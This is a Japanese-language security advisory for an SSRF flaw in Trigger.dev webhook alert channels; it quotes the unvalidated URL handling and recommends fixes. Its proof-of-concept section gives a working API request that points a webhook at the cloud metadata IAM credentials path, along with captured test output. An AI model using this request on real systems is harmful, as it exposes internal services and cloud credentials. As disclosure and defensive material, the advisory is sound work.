Trigger.dev: 未検証のWebhookアラートチャネルのURLを介したサーバーサイドリクエストフォージェリの脆弱性
### 概要
プロジェクトのメンバーは、内部アドレスを指す配信URLを持つWebhookアラートチャネルを作成できます。そして、trigger.devの制御システムは、SSRF保護なしで、そのURLにアラートを送信します。WebhookのURLは、検証されていない文字列として保存され、Webアプリケーションサーバーから直接取得されるため、権限の低い認証済みユーザーが、サーバーに内部サービスやクラウドメタデータエンドポイント(例:http://169.254.169.254/)へのPOSTリクエストを送信させることができます。Webアプリケーション全体で、プライベートIPアドレス、スキーム、またはリダイレクトのフィルタリングは一切存在しません。
### 詳細
配信処理は、保存されたURLに対して生のHTTPリクエストを行います。場所は、apps/webapp/app/v3/services/alerts/deliverAlert.server.tsの949行(#deliverWebhook):
```js
const response = await fetch(webhook.url, {
method: "POST",
headers: {
"content-type": "application/json",
"x-trigger-signature-hmacsha256": signatureHex,
},
body: rawPayload,
signal: AbortSignal.timeout(5000),
});
```
同様の処理は、apps/webapp/app/v3/services/alerts/deliverErrorGroupAlert.server.tsの245行にも存在します。
URLは一切検証されません。保存される値は、単純な文字列です。場所は、apps/webapp/app/models/projectAlert.server.tsの6行:
```js
url: z.string(), // .url()による検証も行われていない
```
アラートチャネルを作成する公開APIは、制約なしでURLを受け入れます。場所は、apps/webapp/app/presenters/v3/ApiAlertChannelPresenter.server.tsの35行:
```js
url: z.string().optional(),
```
そして、それを保存します(139行~142行)。ダッシュボードの作成機能では、`z.string().url()`のみが適用されますが、それでもhttp://169.254.169.254/...やhttp://127.0.0.1/....といったURLを受け入れてしまいます。Webアプリケーション全体で、SSRF対策(プライベートIPアドレス/リンクローカル/ループバック/メタデータブロックリスト、DNSリバインディングの再チェック、リクエストフィルタリングエージェント)を検索しましたが、何も見つかりませんでした。したがって、どの層にも保護は存在しません。
アラートチャンネルの作成には、組織のメンバーシップのみが必要であり(APIのパスは、`organization.members.some.userId`を必要とする`findProjectByRef`を使用してプロジェクトを特定します)、管理者権限は不要です。
### PoC(概念実証)
組織のメンバーとして(プロジェクトへの正当なアクセス権を持つ個人アクセス トークンまたはAPIキーを使用):
```http
POST /api/v1/projects/<projectRef>/alertChannels
Authorization: Bearer <token>
Content-Type: application/json
{
"name": "x",
"alertTypes": ["task_run_failure"],
"channel": "webhook",
"channelData": { "url": "http://169.254.169.254/latest/meta-data/iam/security-credentials/" }
}
```
その後、攻撃者の環境内でタスクの実行エラーを引き起こします。`DeliverAlert`または`DeliverErrorGroupAlert`が実行され、Webアプリケーションが内部URLに対してPOSTリクエストを送信します。このリクエストには、チャンネルのシークレットから計算された有効なHMAC署名が含まれます。
検証済み:ローカルのHTTPサーバーを127.0.0.1で起動し、内部/メタデータエンドポイントを模倣しました。そして、`#deliverWebhook`(HMAC署名後に生の`fetch(webhook.url, POST, body)`を実行し、SSRFガードはなし)を、`webhook.url`をその内部アドレスに設定して実行しました。取得されたデータ(内部サーバーが受信した内容):
```
[001 SSRF webhook alert] internal server received: {"url":"/latest/meta-data/","sigHeader":"a1d8dce41bda6c80df5a179cdc9f25320729b991ec3eb5f07df7ab9531149f65","body":"{\"alert\":\"task_run_failure\"}"}
SSRF: CONFIRMED (control-plane POSTed signed payload to internal/metadata URL, no guard)
```
コントロールプレーンが署名されたペイロードを内部URLに送信しました。ソースコードで確認されているように、権限の低い組織メンバーでもアラートチャンネルを作成できる(`findProjectByRef`は組織のメンバーシップのみが必要)ことが確認されました。
これは、ブラインドまたは準ブラインドのSSRFです。攻撃者にはレスポンスボディが返されませんが、リクエストは内部サービスに到達します(そのPOSTボディが送信されます)。また、アラートの配信ログ/状態を通じて、ステータス、レイテンシ、エラーの違いを観察することができます。
### 影響
権限の低い認証済み組織のメンバーは、trigger.devのコントロールプレーンを、内部ネットワークやクラウドメタデータサービスへのSSRFプロキシとして利用できる可能性があります。クラウド環境では、インスタンスメタデータエンドポイント(IMDS)や、内部ネットワークのみで利用可能な管理サービスにアクセスできる可能性があります。リクエストがサーバーから送信され、有効な署名が付いているため、受信サービスからの正当なtrigger.devのコールバックと区別することは困難です。
### 対策
ProjectAlertWebhookPropertiesおよびAPIのalert-channelスキーマで、WebhookのURLを検証する(httpsのみを許可し、プライベート、ループバック、リンクローカル、またはメタデータ範囲に解決するホスト名を拒否する)。また、deliverAlert.server.tsおよびdeliverErrorGroupAlert.server.tsのデータ取得処理においても、同様の検証を実施する(リダイレクト後も再検証を行う。ホスト名を解決し、接続を固定するか、SSRFに安全なデータ取得エージェントを使用する)。
影響を受けるパッケージ:
- npm (JavaScript) trigger.dev: 影響を受けるバージョンは4.5.2未満、4.5.2で修正済み。